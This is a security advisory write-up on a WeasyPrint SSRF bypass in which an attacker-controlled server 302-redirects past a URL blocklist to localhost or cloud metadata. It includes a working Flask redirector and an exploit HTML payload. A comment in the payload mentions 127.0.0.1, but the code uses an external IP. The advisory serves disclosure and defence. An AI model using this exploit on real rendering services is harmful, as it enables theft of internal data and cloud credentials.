# WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect

WeasyPrint's default_url_fetcher lets urllib auto-follow HTTP redirects, so a URL passing a custom url_fetcher blocklist can 302 to localhost or cloud metadata and leak internal data into the PDF.

- Payout: Research
- Severity: high
- Program: WeasyPrint
- Found by: g4nkd
- Disclosed: 2026-01-20
- CVE: CVE-2025-68616
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-983w-rhvv-gwmv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-983w-rhvv-gwmv
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:chained vuln:ssrf

**Target:** Python HTML-to-PDF library default_url_fetcher (weasyprint/urls.py) using urllib.request.urlopen
**Root cause:** Custom url_fetcher validation runs only on the initial URL; urllib.request.urlopen follows 301/302/307 redirects internally without re-invoking the developer's allow/blocklist, creating a TOCTOU between check and fetch.
**Steps:**
1. Run an internal service on `localhost:5000/secret` returning sensitive data.
2. Run an attacker server on port 1337 whose `/image.png` returns `redirect("http://localhost:5000/secret", code=302)`.
3. Victim app defines `secure_fetcher(url)` that raises if `"localhost" in url`, else calls `default_url_fetcher(url)`.
4. Render HTML containing `<link rel="attachment" href="http://54.234.88.160:1337/image.png">` with `url_fetcher=secure_fetcher`; initial URL passes the string check.
5. urllib follows the 302 to localhost without re-validation; the fetched body is embedded as an attachment in the PDF.
6. Extract with `pdfdetach -saveall exploit.pdf` and read the `secret` file containing `CRITICAL_INTERNAL_DATA`.
**How found:** Reporter reasoned that the custom url_fetcher only validates the initial URL while urllib handles redirects internally, so a redirect from an allowed host to a blocked host skips re-validation — a TOCTOU in the check/use split.
**Exploitation:** Attacker supplies HTML/CSS to a WeasyPrint-rendering service; a link/attachment URL points at an attacker-controlled host that 302-redirects to a blocked internal target (localhost service or 169.254.169.254 metadata). The response body is embedded into the generated PDF, which the attacker retrieves, exfiltrating internal data or cloud credentials.
**Escalation:** Redirect target can be cloud metadata endpoint (169.254.169.254) to steal instance credentials and escalate privileges; also enables internal port/service scanning via loopback.
**Insight:** When auditing SSRF defenses built as a wrapper around urllib/requests, check whether redirects are disabled or re-validated per hop; any allowlist applied only to the entry URL is bypassable by a 30x from an attacker-controlled host, and the fetched body often lands somewhere retrievable (PDF attachment, cache, error page).

## Proof of concept (copied exactly from the original report)

**Attacker redirector to blocked localhost**

```
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/image.png')
def malicious():
    # The vulnerability: Redirects to the BLOCKED hostname
    return redirect("http://localhost:5000/secret", code=302)

if __name__ == '__main__':
    app.run(port=1337)
```

**Exploit HTML with secure_fetcher bypass**

```
def secure_fetcher(url):
    # Simulates a blacklist for 'localhost'
    if "localhost" in url:
        raise PermissionError(f"Security Block: Access to {url} denied.")
    
    print(f"[ALLOWED] Initial URL check passed for: {url}")
    return default_url_fetcher(url)

# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP). 
#    The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.

try:
    # Use 127.0.0.1 to bypass the string check for 'localhost'
    html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
    
    doc = HTML(string=html_content, url_fetcher=secure_fetcher)
    doc.write_pdf("exploit.pdf")
    
    print("Exploit successful. The 'localhost' block was bypassed via redirect.")
    print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
    print(f"Exploit failed: {e}")
```

